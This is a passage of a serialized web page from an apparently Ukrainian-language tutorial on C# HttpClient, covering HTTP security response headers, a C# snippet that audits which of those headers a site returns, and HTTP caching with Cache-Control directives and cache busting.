",[3433,10748,5089],{"class":5088},[3433,10750,10455],{"class":4811},[3433,10752,3670],{"class":5088},[3433,10754,10755],{"class":4811},"Subject",[3433,10757,5100],{"class":5088},[3433,10759,5117],{"class":3926},[3433,10761,4976],{"class":4749},[3433,10763,10764,10766,10768,10770,10772,10775,10777,10779,10781,10784,10786,10788],{"class":3435,"line":6527},[3433,10765,5681],{"class":4811},[3433,10767,3670],{"class":4749},[3433,10769,5080],{"class":4967},[3433,10771,4895],{"class":4749},[3433,10773,10774],{"class":3926},"$\"Issuer:   ",[3433,10776,5089],{"class":5088},[3433,10778,10455],{"class":4811},[3433,10780,3670],{"class":5088},[3433,10782,10783],{"class":4811},"Issuer",[3433,10785,5100],{"class":5088},[3433,10787,5117],{"class":3926},[3433,10789,4976],{"class":4749},[3433,10791,10792,10794,10796,10798,10800,10803,10805,10807,10809,10812,10815,10817],{"class":3435,"line":6532},[3433,10793,5681],{"class":4811},[3433,10795,3670],{"class":4749},[3433,10797,5080],{"class":4967},[3433,10799,4895],{"class":4749},[3433,10801,10802],{"class":3926},"$\"Valid to: ",[3433,10804,5089],{"class":5088},[3433,10806,10455],{"class":4811},[3433,10808,3670],{"class":5088},[3433,10810,10811],{"class":4967},"GetExpirationDateString",[3433,10813,10814],{"class":5088},"()}",[3433,10816,5117],{"class":3926},[3433,10818,4976],{"class":4749},[3433,10820,10821,10823,10825,10827,10829,10832,10834,10836,10838,10841,10843,10845],{"class":3435,"line":8453},[3433,10822,5681],{"class":4811},[3433,10824,3670],{"class":4749},[3433,10826,5080],{"class":4967},[3433,10828,4895],{"class":4749},[3433,10830,10831],{"class":3926},"$\"Thumbprint: ",[3433,10833,5089],{"class":5088},[3433,10835,10455],{"class":4811},[3433,10837,3670],{"class":5088},[3433,10839,10840],{"class":4967},"GetCertHashString",[3433,10842,10814],{"class":5088},[3433,10844,5117],{"class":3926},[3433,10846,4976],{"class":4749},[3433,10848,10850],{"class":3435,"line":10849},47,[3433,10851,5715],{"class":4749},[3433,10853,10855,10857,10860,10862,10864,10866,10868],{"class":3435,"line":10854},48,[3433,10856,10510],{"class":4741},[3433,10858,10859],{"class":4811}," errors",[3433,10861,5967],{"class":4749},[3433,10863,10485],{"class":4811},[3433,10865,3670],{"class":4749},[3433,10867,4228],{"class":4811},[3433,10869,4755],{"class":4749},[3433,10871,10873],{"class":3435,"line":10872},49,[3433,10874,5720],{"class":4749},[3433,10876,10878],{"class":3435,"line":10877},50,[3433,10879,4871],{"class":4749},[3433,10881,10883,10885,10887,10890,10892,10894,10896,10898,10901],{"class":3435,"line":10882},51,[3433,10884,4742],{"class":4741},[3433,10886,4882],{"class":3923},[3433,10888,10889],{"class":4811}," infoClient",[3433,10891,4815],{"class":4749},[3433,10893,4818],{"class":3923},[3433,10895,4892],{"class":4745},[3433,10897,4895],{"class":4749},[3433,10899,10900],{"class":4811},"infoHandler",[3433,10902,4976],{"class":4749},[3433,10904,10906,10908,10910,10912,10914,10916,10918],{"class":3435,"line":10905},52,[3433,10907,4960],{"class":3923},[3433,10909,10889],{"class":4811},[3433,10911,3670],{"class":4749},[3433,10913,4968],{"class":4967},[3433,10915,4895],{"class":4749},[3433,10917,4922],{"class":3926},[3433,10919,4976],{"class":4749},[3647,10921],{},[3312,10923,10925],{"id":10924},"http-security-headers","HTTP Security Headers",[3317,10927,10928,10929,10932,10933,10936],{},"Окрім TLS, сервери повинні надсилати набір ",[3321,10930,10931],{},"security response headers",", що захищають клієнтів від різних атак. ",[3430,10934,10935],{},"HttpClient"," ці заголовки не додає — їх встановлює сервер. Але розробнику важливо розуміти, що вони означають.",[3654,10938,10940],{"id":10939},"ключові-заголовки-безпеки","Ключові заголовки безпеки",[4333,10942,10943,10965,11026,11070,11103,11131],{},[4336,10944,10946,10958],{"icon":4614,"label":10945},"Strict-Transport-Security (HSTS)",[3423,10947,10948],{"className":3911,"code":9952,"language":3913,"meta":3428,"style":3428},[3430,10949,10950],{"__ignoreMap":3428},[3433,10951,10952,10954,10956],{"class":3435,"line":3436},[3433,10953,9959],{"class":3920},[3433,10955,3908],{"class":3923},[3433,10957,9964],{"class":3926},[3317,10959,10960,10961,10964],{},"Примушує браузер використовувати HTTPS протягом ",[3430,10962,10963],{},"max-age"," секунд. Захищає від SSLstrip і downgrade атак.",[4336,10966,10969,11012],{"icon":10967,"label":10968},"i-lucide-shield","Content-Security-Policy (CSP)",[3423,10970,10972],{"className":3911,"code":10971,"language":3913,"meta":3428,"style":3428},"Content-Security-Policy:\n  default-src 'self';\n  script-src 'self' cdn.example.com;\n  img-src 'self' data: images.example.com;\n  connect-src 'self' api.example.com;\n  frame-ancestors 'none';\n  upgrade-insecure-requests\n",[3430,10973,10974,10982,10987,10992,10997,11002,11007],{"__ignoreMap":3428},[3433,10975,10976,10979],{"class":3435,"line":3436},[3433,10977,10978],{"class":3920},"Content-Security-Policy",[3433,10980,10981],{"class":3923},":\n",[3433,10983,10984],{"class":3435,"line":3442},[3433,10985,10986],{"class":4749},"  default-src 'self';\n",[3433,10988,10989],{"class":3435,"line":3448},[3433,10990,10991],{"class":4749},"  script-src 'self' cdn.example.com;\n",[3433,10993,10994],{"class":3435,"line":3454},[3433,10995,10996],{"class":4749},"  img-src 'self' data: images.example.com;\n",[3433,10998,10999],{"class":3435,"line":3461},[3433,11000,11001],{"class":4749},"  connect-src 'self' api.example.com;\n",[3433,11003,11004],{"class":3435,"line":3467},[3433,11005,11006],{"class":4749},"  frame-ancestors 'none';\n",[3433,11008,11009],{"class":3435,"line":3473},[3433,11010,11011],{"class":4749},"  upgrade-insecure-requests\n",[3317,11013,11014,11015,11018,11019,11022,11023,3670],{},"Визначає, з яких джерел браузер може завантажувати ресурси. ",[3321,11016,11017],{},"Найефективніший захист від XSS"," — навіть при наявності вразливості, injected script не виконається (порушить CSP). ",[3430,11020,11021],{},"frame-ancestors 'none'"," замінює застарілий ",[3430,11024,11025],{},"X-Frame-Options",[4336,11027,11029,11057],{"icon":11028,"label":11025},"i-lucide-layout",[3423,11030,11032],{"className":3911,"code":11031,"language":3913,"meta":3428,"style":3428},"X-Frame-Options: DENY\n# або\nX-Frame-Options: SAMEORIGIN\n",[3430,11033,11034,11043,11048],{"__ignoreMap":3428},[3433,11035,11036,11038,11040],{"class":3435,"line":3436},[3433,11037,11025],{"class":3920},[3433,11039,3908],{"class":3923},[3433,11041,11042],{"class":3926}," DENY\n",[3433,11044,11045],{"class":3435,"line":3442},[3433,11046,11047],{"class":4802},"# або\n",[3433,11049,11050,11052,11054],{"class":3435,"line":3448},[3433,11051,11025],{"class":3920},[3433,11053,3908],{"class":3923},[3433,11055,11056],{"class":3926}," SAMEORIGIN\n",[3317,11058,11059,11060,11062,11063,11066,11067,3670],{},"Забороняє вставляти сторінку у ",[3430,11061,4293],{},", захищаючи від ",[3321,11064,11065],{},"Clickjacking"," — атаки, де зловмисник накладає прозорий iframe поверх свого контенту і змушує клік на «Отримати приз» насправді натиснути «Підтвердити транзакцію». Застаріло на користь ",[3430,11068,11069],{},"Content-Security-Policy: frame-ancestors",[4336,11071,11074,11088],{"icon":11072,"label":11073},"i-lucide-file-type","X-Content-Type-Options",[3423,11075,11077],{"className":3911,"code":11076,"language":3913,"meta":3428,"style":3428},"X-Content-Type-Options: nosniff\n",[3430,11078,11079],{"__ignoreMap":3428},[3433,11080,11081,11083,11085],{"class":3435,"line":3436},[3433,11082,11073],{"class":3920},[3433,11084,3908],{"class":3923},[3433,11086,11087],{"class":3926}," nosniff\n",[3317,11089,11090,11091,11094,11095,11098,11099,11102],{},"Забороняє браузеру ",[3321,11092,11093],{},"MIME sniffing"," — автоматичне визначення типу контенту, ігноруючи ",[3430,11096,11097],{},"Content-Type",". Захист: якщо сервер надіслав файл як ",[3430,11100,11101],{},"text\u002Fplain",", браузер не виконає його як JavaScript навіть якщо вміст схожий на скрипт.",[4336,11104,11107,11121],{"icon":11105,"label":11106},"i-lucide-eye-off","Referrer-Policy",[3423,11108,11110],{"className":3911,"code":11109,"language":3913,"meta":3428,"style":3428},"Referrer-Policy: strict-origin-when-cross-origin\n",[3430,11111,11112],{"__ignoreMap":3428},[3433,11113,11114,11116,11118],{"class":3435,"line":3436},[3433,11115,11106],{"class":3920},[3433,11117,3908],{"class":3923},[3433,11119,11120],{"class":3926}," strict-origin-when-cross-origin\n",[3317,11122,11123,11124,11126,11127,11130],{},"Контролює, скільки інформації браузер надсилає у заголовку ",[3430,11125,4610],{}," при переходах між сторінками. ",[3430,11128,11129],{},"strict-origin-when-cross-origin"," — надсилає лише origin (без шляху\u002Fпараметрів) при cross-origin переходах.",[4336,11132,11135,11149],{"icon":11133,"label":11134},"i-lucide-sliders","Permissions-Policy",[3423,11136,11138],{"className":3911,"code":11137,"language":3913,"meta":3428,"style":3428},"Permissions-Policy: camera=(), microphone=(), geolocation=(self)\n",[3430,11139,11140],{"__ignoreMap":3428},[3433,11141,11142,11144,11146],{"class":3435,"line":3436},[3433,11143,11134],{"class":3920},[3433,11145,3908],{"class":3923},[3433,11147,11148],{"class":3926}," camera=(), microphone=(), geolocation=(self)\n",[3317,11150,11151,11152,11155],{},"Обмежує доступ до браузерних API (камера, мікрофон, геолокація). ",[3430,11153,11154],{},"()"," = заборонено повністю. Захищає від зловживань третіх сторін у embed-контенті.",[3654,11157,11159],{"id":11158},"читання-security-headers-у-c","Читання security headers у C#",[3423,11161,11163],{"className":4731,"code":11162,"language":4733,"meta":4734,"style":3428},"using System.Net.Http;\n\nusing var client = new HttpClient();\n\u002F\u002F mozilla.org — сайт з повним набором security headers (HSTS, CSP, X-Frame-Options тощо)\nHttpResponseMessage response = await client.GetAsync(\"https:\u002F\u002Fwww.mozilla.org\u002F\");\n\n\u002F\u002F Перевірити наявність security headers\nvar securityHeaders = new[]\n{\n    \"Strict-Transport-Security\",\n    \"Content-Security-Policy\",\n    \"X-Frame-Options\",\n    \"X-Content-Type-Options\",\n    \"Referrer-Policy\",\n    \"Permissions-Policy\"\n};\n\nConsole.WriteLine(\"Security Headers Audit:\");\nforeach (string header in securityHeaders)\n{\n    bool present = response.Headers.Contains(header)\n                || response.Content.Headers.Contains(header);\n\n    string status = present ? \"✅\" : \"❌\";\n    string value = present\n        ? response.Headers.TryGetValues(header, out var vals) ? string.Join(\", \", vals) : \"(in content headers)\"\n        : \"ВІДСУТНІЙ\";\n\n    Console.WriteLine($\"{status} {header}: {value}\");\n}\n",[3430,11164,11165,11181,11185,11201,11206,11229,11233,11238,11251,11255,11262,11269,11276,11283,11290,11295,11299,11303,11318,11335,11339,11368,11393,11397,11423,11435,11489,11499,11503,11543],{"__ignoreMap":3428},[3433,11166,11167,11169,11171,11173,11175,11177,11179],{"class":3435,"line":3436},[3433,11168,4742],{"class":4741},[3433,11170,4746],{"class":4745},[3433,11172,3670],{"class":4749},[3433,11174,4752],{"class":4745},[3433,11176,3670],{"class":4749},[3433,11178,4770],{"class":4745},[3433,11180,4755],{"class":4749},[3433,11182,11183],{"class":3435,"line":3442},[3433,11184,3458],{"emptyLinePlaceholder":3457},[3433,11186,11187,11189,11191,11193,11195,11197,11199],{"class":3435,"line":3448},[3433,11188,4742],{"class":4741},[3433,11190,4882],{"class":3923},[3433,11192,4885],{"class":4811},[3433,11194,4815],{"class":4749},[3433,11196,4818],{"class":3923},[3433,11198,4892],{"class":4745},[3433,11200,4824],{"class":4749},[3433,11202,11203],{"class":3435,"line":3454},[3433,11204,11205],{"class":4802},"\u002F\u002F mozilla.org — сайт з повним набором security headers (HSTS, CSP, X-Frame-Options тощо)\n",[3433,11207,11208,11210,11212,11214,11216,11218,11220,11222,11224,11227],{"class":3435,"line":3461},[3433,11209,4952],{"class":4745},[3433,11211,6971],{"class":4811},[3433,11213,4815],{"class":4749},[3433,11215,4960],{"class":3923},[3433,11217,4885],{"class":4811},[3433,11219,3670],{"class":4749},[3433,11221,4968],{"class":4967},[3433,11223,4895],{"class":4749},[3433,11225,11226],{"class":3926},"\"https:\u002F\u002Fwww.mozilla.org\u002F\"",[3433,11228,4976],{"class":4749},[3433,11230,11231],{"class":3435,"line":3467},[3433,11232,3458],{"emptyLinePlaceholder":3457},[3433,11234,11235],{"class":3435,"line":3473},[3433,11236,11237],{"class":4802},"\u002F\u002F Перевірити наявність security headers\n",[3433,11239,11240,11242,11245,11247,11249],{"class":3435,"line":3479},[3433,11241,4808],{"class":3923},[3433,11243,11244],{"class":4811}," securityHeaders",[3433,11246,4815],{"class":4749},[3433,11248,4818],{"class":3923},[3433,11250,8846],{"class":4749},[3433,11252,11253],{"class":3435,"line":3484},[3433,11254,4843],{"class":4749},[3433,11256,11257,11260],{"class":3435,"line":3490},[3433,11258,11259],{"class":3926},"    \"Strict-Transport-Security\"",[3433,11261,4856],{"class":4749},[3433,11263,11264,11267],{"class":3435,"line":3496},[3433,11265,11266],{"class":3926},"    \"Content-Security-Policy\"",[3433,11268,4856],{"class":4749},[3433,11270,11271,11274],{"class":3435,"line":3502},[3433,11272,11273],{"class":3926},"    \"X-Frame-Options\"",[3433,11275,4856],{"class":4749},[3433,11277,11278,11281],{"class":3435,"line":3508},[3433,11279,11280],{"class":3926},"    \"X-Content-Type-Options\"",[3433,11282,4856],{"class":4749},[3433,11284,11285,11288],{"class":3435,"line":3513},[3433,11286,11287],{"class":3926},"    \"Referrer-Policy\"",[3433,11289,4856],{"class":4749},[3433,11291,11292],{"class":3435,"line":3519},[3433,11293,11294],{"class":3926},"    \"Permissions-Policy\"\n",[3433,11296,11297],{"class":3435,"line":3525},[3433,11298,4871],{"class":4749},[3433,11300,11301],{"class":3435,"line":3531},[3433,11302,3458],{"emptyLinePlaceholder":3457},[3433,11304,11305,11307,11309,11311,11313,11316],{"class":3435,"line":3537},[3433,11306,7898],{"class":4811},[3433,11308,3670],{"class":4749},[3433,11310,5080],{"class":4967},[3433,11312,4895],{"class":4749},[3433,11314,11315],{"class":3926},"\"Security Headers Audit:\"",[3433,11317,4976],{"class":4749},[3433,11319,11320,11322,11324,11326,11329,11331,11333],{"class":3435,"line":3542},[3433,11321,5051],{"class":4741},[3433,11323,4638],{"class":4749},[3433,11325,3940],{"class":3923},[3433,11327,11328],{"class":4811}," header",[3433,11330,5061],{"class":4741},[3433,11332,11244],{"class":4811},[3433,11334,4901],{"class":4749},[3433,11336,11337],{"class":3435,"line":3548},[3433,11338,4843],{"class":4749},[3433,11340,11341,11344,11347,11349,11352,11354,11356,11358,11361,11363,11366],{"class":3435,"line":3554},[3433,11342,11343],{"class":3923},"    bool",[3433,11345,11346],{"class":4811}," present",[3433,11348,4815],{"class":4749},[3433,11350,11351],{"class":4811},"response",[3433,11353,3670],{"class":4749},[3433,11355,5515],{"class":4811},[3433,11357,3670],{"class":4749},[3433,11359,11360],{"class":4967},"Contains",[3433,11362,4895],{"class":4749},[3433,11364,11365],{"class":4811},"header",[3433,11367,4901],{"class":4749},[3433,11369,11370,11373,11375,11377,11379,11381,11383,11385,11387,11389,11391],{"class":3435,"line":3560},[3433,11371,11372],{"class":4749},"                || ",[3433,11374,11351],{"class":4811},[3433,11376,3670],{"class":4749},[3433,11378,7880],{"class":4811},[3433,11380,3670],{"class":4749},[3433,11382,5515],{"class":4811},[3433,11384,3670],{"class":4749},[3433,11386,11360],{"class":4967},[3433,11388,4895],{"class":4749},[3433,11390,11365],{"class":4811},[3433,11392,4976],{"class":4749},[3433,11394,11395],{"class":3435,"line":3565},[3433,11396,3458],{"emptyLinePlaceholder":3457},[3433,11398,11399,11401,11404,11406,11409,11412,11415,11418,11421],{"class":3435,"line":3570},[3433,11400,9109],{"class":3923},[3433,11402,11403],{"class":4811}," status",[3433,11405,4815],{"class":4749},[3433,11407,11408],{"class":4811},"present",[3433,11410,11411],{"class":4749}," ? ",[3433,11413,11414],{"class":3926},"\"✅\"",[3433,11416,11417],{"class":4749}," : ",[3433,11419,11420],{"class":3926},"\"❌\"",[3433,11422,4755],{"class":4749},[3433,11424,11425,11427,11430,11432],{"class":3435,"line":3576},[3433,11426,9109],{"class":3923},[3433,11428,11429],{"class":4811}," value",[3433,11431,4815],{"class":4749},[3433,11433,11434],{"class":4811},"present\n",[3433,11436,11437,11440,11442,11444,11446,11448,11450,11452,11454,11456,11458,11460,11463,11466,11468,11470,11473,11475,11478,11480,11483,11486],{"class":3435,"line":3582},[3433,11438,11439],{"class":4749},"        ? ",[3433,11441,11351],{"class":4811},[3433,11443,3670],{"class":4749},[3433,11445,5515],{"class":4811},[3433,11447,3670],{"class":4749},[3433,11449,5520],{"class":4967},[3433,11451,4895],{"class":4749},[3433,11453,11365],{"class":4811},[3433,11455,4263],{"class":4749},[3433,11457,5530],{"class":3923},[3433,11459,4882],{"class":3923},[3433,11461,11462],{"class":4811}," vals",[3433,11464,11465],{"class":4749},") ? ",[3433,11467,3940],{"class":3923},[3433,11469,3670],{"class":4749},[3433,11471,11472],{"class":4967},"Join",[3433,11474,4895],{"class":4749},[3433,11476,11477],{"class":3926},"\", \"",[3433,11479,4263],{"class":4749},[3433,11481,11482],{"class":4811},"vals",[3433,11484,11485],{"class":4749},") : ",[3433,11487,11488],{"class":3926},"\"(in content headers)\"\n",[3433,11490,11491,11494,11497],{"class":3435,"line":3587},[3433,11492,11493],{"class":4749},"        : ",[3433,11495,11496],{"class":3926},"\"ВІДСУТНІЙ\"",[3433,11498,4755],{"class":4749},[3433,11500,11501],{"class":3435,"line":3592},[3433,11502,3458],{"emptyLinePlaceholder":3457},[3433,11504,11505,11507,11509,11511,11513,11516,11518,11521,11523,11525,11527,11529,11532,11534,11537,11539,11541],{"class":3435,"line":3598},[3433,11506,5075],{"class":4811},[3433,11508,3670],{"class":4749},[3433,11510,5080],{"class":4967},[3433,11512,4895],{"class":4749},[3433,11514,11515],{"class":3926},"$\"",[3433,11517,5089],{"class":5088},[3433,11519,11520],{"class":4811},"status",[3433,11522,5100],{"class":5088},[3433,11524,8118],{"class":5088},[3433,11526,11365],{"class":4811},[3433,11528,5100],{"class":5088},[3433,11530,11531],{"class":3926},": ",[3433,11533,5089],{"class":5088},[3433,11535,11536],{"class":4811},"value",[3433,11538,5100],{"class":5088},[3433,11540,5117],{"class":3926},[3433,11542,4976],{"class":4749},[3433,11544,11545],{"class":3435,"line":3604},[3433,11546,3813],{"class":4749},[3647,11548],{},[3312,11550,11552],{"id":11551},"http-кешування","HTTP-кешування",[3654,11554,11556],{"id":11555},"навіщо-кешування","Навіщо кешування",[3317,11558,11559],{},"HTTP-кешування — один з найпотужніших механізмів оптимізації продуктивності. Правильно налаштоване кешування дозволяє зменшити навантаження на сервер у рази, прискорити відповідь для користувача та заощадити трафік.",[3654,11561,11563],{"id":11562},"ієрархія-кешів","Ієрархія кешів",[3420,11565,11566],{},[3423,11567,11569],{"className":3425,"code":11568,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Браузер\" as browser\nrectangle \"Browser Cache\\n(приватний)\" as bcache #e3f2fd\nrectangle \"CDN \u002F Proxy Cache\\n(спільний)\" as cdn #e8f5e9\nparticipant \"Origin Server\" as origin #fff9c4\n\nbrowser -> bcache : GET \u002Flogo.png\nbcache -> browser : 200 OK (з кешу!)\\nHIT — 0ms\n\nbrowser -> cdn : GET \u002Fapi\u002Fproducts\ncdn -> browser : 200 OK (з кешу CDN)\\nHIT — 5ms\n\nbrowser -> origin : GET \u002Fapi\u002Fuser\u002F42\norigin -> browser : 200 OK (свіжі дані)\\nMISS — 150ms\n\nnote right of bcache\n  Cache-Control: private\n  Лише цей браузер\nend note\n\nnote right of cdn\n  Cache-Control: public\n  Всі клієнти CDN\nend note\n\nnote right of origin\n  Cache-Control: no-store\n  Або персональні дані\nend note\n\n@enduml\n",[3430,11570,11571,11575,11579,11583,11587,11591,11596,11601,11606,11610,11615,11620,11624,11629,11634,11638,11643,11648,11652,11657,11662,11667,11671,11675,11680,11685,11690,11694,11698,11703,11708,11713,11717,11721],{"__ignoreMap":3428},[3433,11572,11573],{"class":3435,"line":3436},[3433,11574,3439],{},[3433,11576,11577],{"class":3435,"line":3442},[3433,11578,3445],{},[3433,11580,11581],{"class":3435,"line":3448},[3433,11582,3451],{},[3433,11584,11585],{"class":3435,"line":3454},[3433,11586,3458],{"emptyLinePlaceholder":3457},[3433,11588,11589],{"class":3435,"line":3461},[3433,11590,6082],{},[3433,11592,11593],{"class":3435,"line":3467},[3433,11594,11595],{},"rectangle \"Browser Cache\\n(приватний)\" as bcache #e3f2fd\n",[3433,11597,11598],{"class":3435,"line":3473},[3433,11599,11600],{},"rectangle \"CDN \u002F Proxy Cache\\n(спільний)\" as cdn #e8f5e9\n",[3433,11602,11603],{"class":3435,"line":3479},[3433,11604,11605],{},"participant \"Origin Server\" as origin #fff9c4\n",[3433,11607,11608],{"class":3435,"line":3484},[3433,11609,3458],{"emptyLinePlaceholder":3457},[3433,11611,11612],{"class":3435,"line":3490},[3433,11613,11614],{},"browser -> bcache : GET \u002Flogo.png\n",[3433,11616,11617],{"class":3435,"line":3496},[3433,11618,11619],{},"bcache -> browser : 200 OK (з кешу!)\\nHIT — 0ms\n",[3433,11621,11622],{"class":3435,"line":3502},[3433,11623,3458],{"emptyLinePlaceholder":3457},[3433,11625,11626],{"class":3435,"line":3508},[3433,11627,11628],{},"browser -> cdn : GET \u002Fapi\u002Fproducts\n",[3433,11630,11631],{"class":3435,"line":3513},[3433,11632,11633],{},"cdn -> browser : 200 OK (з кешу CDN)\\nHIT — 5ms\n",[3433,11635,11636],{"class":3435,"line":3519},[3433,11637,3458],{"emptyLinePlaceholder":3457},[3433,11639,11640],{"class":3435,"line":3525},[3433,11641,11642],{},"browser -> origin : GET \u002Fapi\u002Fuser\u002F42\n",[3433,11644,11645],{"class":3435,"line":3531},[3433,11646,11647],{},"origin -> browser : 200 OK (свіжі дані)\\nMISS — 150ms\n",[3433,11649,11650],{"class":3435,"line":3537},[3433,11651,3458],{"emptyLinePlaceholder":3457},[3433,11653,11654],{"class":3435,"line":3542},[3433,11655,11656],{},"note right of bcache\n",[3433,11658,11659],{"class":3435,"line":3548},[3433,11660,11661],{},"  Cache-Control: private\n",[3433,11663,11664],{"class":3435,"line":3554},[3433,11665,11666],{},"  Лише цей браузер\n",[3433,11668,11669],{"class":3435,"line":3560},[3433,11670,3534],{},[3433,11672,11673],{"class":3435,"line":3565},[3433,11674,3458],{"emptyLinePlaceholder":3457},[3433,11676,11677],{"class":3435,"line":3570},[3433,11678,11679],{},"note right of cdn\n",[3433,11681,11682],{"class":3435,"line":3576},[3433,11683,11684],{},"  Cache-Control: public\n",[3433,11686,11687],{"class":3435,"line":3582},[3433,11688,11689],{},"  Всі клієнти CDN\n",[3433,11691,11692],{"class":3435,"line":3587},[3433,11693,3534],{},[3433,11695,11696],{"class":3435,"line":3592},[3433,11697,3458],{"emptyLinePlaceholder":3457},[3433,11699,11700],{"class":3435,"line":3598},[3433,11701,11702],{},"note right of origin\n",[3433,11704,11705],{"class":3435,"line":3604},[3433,11706,11707],{},"  Cache-Control: no-store\n",[3433,11709,11710],{"class":3435,"line":3610},[3433,11711,11712],{},"  Або персональні дані\n",[3433,11714,11715],{"class":3435,"line":3615},[3433,11716,3534],{},[3433,11718,11719],{"class":3435,"line":3620},[3433,11720,3458],{"emptyLinePlaceholder":3457},[3433,11722,11723],{"class":3435,"line":3626},[3433,11724,3645],{},[3654,11726,11728],{"id":11727},"cache-control-директиви-відповіді-та-запиту","Cache-Control: директиви відповіді та запиту",[3317,11730,11731,11732,11735,11736,11739],{},"Cache-Control використовується як у ",[3321,11733,11734],{},"відповідях"," (сервер → кеш → клієнт), так і у ",[3321,11737,11738],{},"запитах"," (клієнт → кеш).",[8586,11741,11743],{"id":11742},"директиви-відповіді","Директиви відповіді",[3346,11745,11746,11754],{},[3349,11747,11748],{},[3352,11749,11750,11752],{},[3355,11751,9973],{},[3355,11753,9976],{},[3368,11755,11756,11766,11776,11786,11796,11805,11815,11825,11835,11845],{},[3352,11757,11758,11763],{},[3373,11759,11760],{},[3430,11761,11762],{},"public",[3373,11764,11765],{},"Можна кешувати у будь-якому кеші (CDN, проксі, браузер)",[3352,11767,11768,11773],{},[3373,11769,11770],{},[3430,11771,11772],{},"private",[3373,11774,11775],{},"Тільки у приватному кеші (браузер конкретного користувача)",[3352,11777,11778,11783],{},[3373,11779,11780],{},[3430,11781,11782],{},"no-cache",[3373,11784,11785],{},"Перевіряти актуальність перед використанням (conditional GET)",[3352,11787,11788,11793],{},[3373,11789,11790],{},[3430,11791,11792],{},"no-store",[3373,11794,11795],{},"Взагалі не зберігати у кеші (паролі, банківські дані)",[3352,11797,11798,11802],{},[3373,11799,11800],{},[3430,11801,9985],{},[3373,11803,11804],{},"Кешувати N секунд без перевірки",[3352,11806,11807,11812],{},[3373,11808,11809],{},[3430,11810,11811],{},"s-maxage=N",[3373,11813,11814],{},"Для CDN: кешувати N секунд (ігнорує max-age)",[3352,11816,11817,11822],{},[3373,11818,11819],{},[3430,11820,11821],{},"must-revalidate",[3373,11823,11824],{},"Після закінчення max-age — обов'язково перевірити на сервері",[3352,11826,11827,11832],{},[3373,11828,11829],{},[3430,11830,11831],{},"immutable",[3373,11833,11834],{},"Ресурс ніколи не зміниться (статичні файли з хешем у URL)",[3352,11836,11837,11842],{},[3373,11838,11839],{},[3430,11840,11841],{},"stale-while-revalidate=N",[3373,11843,11844],{},"Поки оновлює у фоні — видавати застарілий кеш ще N секунд",[3352,11846,11847,11852],{},[3373,11848,11849],{},[3430,11850,11851],{},"stale-if-error=N",[3373,11853,11854],{},"При помилці сервера — видавати застарілий кеш ще N секунд",[8586,11856,11858],{"id":11857},"директиви-запиту-клієнт-управляє-кешем","Директиви запиту (клієнт управляє кешем)",[3346,11860,11861,11869],{},[3349,11862,11863],{},[3352,11864,11865,11867],{},[3355,11866,9973],{},[3355,11868,9976],{},[3368,11870,11871,11880,11889,11899,11909],{},[3352,11872,11873,11877],{},[3373,11874,11875],{},[3430,11876,11782],{},[3373,11878,11879],{},"Не використовувати кешовану відповідь без перевірки",[3352,11881,11882,11886],{},[3373,11883,11884],{},[3430,11885,11792],{},[3373,11887,11888],{},"Не зберігати цей запит\u002Fвідповідь",[3352,11890,11891,11896],{},[3373,11892,11893],{},[3430,11894,11895],{},"max-age=0",[3373,11897,11898],{},"Отримати свіжу відповідь (аналог no-cache)",[3352,11900,11901,11906],{},[3373,11902,11903],{},[3430,11904,11905],{},"max-stale=N",[3373,11907,11908],{},"Прийняти застарілу відповідь, якщо вона не старша N секунд",[3352,11910,11911,11916],{},[3373,11912,11913],{},[3430,11914,11915],{},"only-if-cached",[3373,11917,11918],{},"Повернути тільки кешовану відповідь, не йти на сервер",[8586,11920,11922],{"id":11921},"stale-while-revalidate-фоновий-refresh","stale-while-revalidate: фоновий refresh",[3423,11924,11926],{"className":3911,"code":11925,"language":3913,"meta":3428,"style":3428},"Cache-Control: max-age=60, stale-while-revalidate=30\n",[3430,11927,11928],{"__ignoreMap":3428},[3433,11929,11930,11933,11935],{"class":3435,"line":3436},[3433,11931,11932],{"class":3920},"Cache-Control",[3433,11934,3908],{"class":3923},[3433,11936,11937],{"class":3926}," max-age=60, stale-while-revalidate=30\n",[3686,11939,11940,11943,11950],{},[3689,11941,11942],{},"Перші 60 сек: свіжий кеш, відповідає миттєво",[3689,11944,11945,11946,11949],{},"60–90 сек: кеш \"протух\", але ",[3321,11947,11948],{},"повертається одразу"," + у фоні оновлюється",[3689,11951,11952],{},"Після 90 сек: чекати відповіді сервера",[3317,11954,11955],{},"Ідеальний баланс між актуальністю та latency для API з не-критичними даними.",[8586,11957,11959],{"id":11958},"cache-busting-для-статичних-ресурсів","Cache Busting для статичних ресурсів",[3423,11961,11965],{"className":11962,"code":11963,"language":11964,"meta":3428,"style":3428},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003C!-- BAD: старий URL, може кешуватись нескінченно -->\n\u003Cscript src=\"\u002Fapp.js\">\u003C\u002Fscript>\n\n\u003C!-- GOOD: хеш вмісту у URL → при зміні файлу URL змінюється -->\n\u003Cscript src=\"\u002Fapp.a1b2c3d4.js\">\u003C\u002Fscript>\n","html",[3430,11966,11967,11972,11998,12002,12007],{"__ignoreMap":3428},[3433,11968,11969],{"class":3435,"line":3436},[3433,11970,11971],{"class":4802},"\u003C!-- BAD: старий URL, може кешуватись нескінченно -->\n",[3433,11973,11974,11977,11980,11984,11986,11990,11993,11995],{"class":3435,"line":3442},[3433,11975,5005],{"class":11976},"s0P7L",[3433,11978,11979],{"class":3920},"script",[3433,11981,11983],{"class":11982},"sa4r_"," src",[3433,11985,5103],{"class":5088},[3433,11987,11989],{"class":11988},"su9tN","\"\u002Fapp.js\"",[3433,11991,11992],{"class":11976},">\u003C\u002F",[3433,11994,11979],{"class":3920},[3433,11996,11997],{"class":11976},">\n",[3433,11999,12000],{"class":3435,"line":3448},[3433,12001,3458],{"emptyLinePlaceholder":3457},[3433,12003,12004],{"class":3435,"line":3454},[3433,12005,12006],{"class":4802},"\u003C!-- GOOD: хеш вмісту у URL → при зміні файлу URL змінюється -->\n",[3433,12008,12009,12011,12013,12015,12017,12020,12022,12024],{"class":3435,"line":3461},[3433,12010,5005],{"class":11976},[3433,12012,11979],{"class":3920},[3433,12014,11983],{"class":11982},[3433,12016,5103],{"class":5088},[3433,12018,12019],{"class":11988},"\"\u002Fapp.a1b2c3d4.js\"",[3433,12021,11992],{"class":11976},[3433,12023,11979],{"class":3920},[3433,12025,11997],{"class":11976},[3423,12027,12029],{"className":3911,"code":12028,"language":3913,"meta":3428,"style":3428},"Cache-Control: public, max-age=31536000, 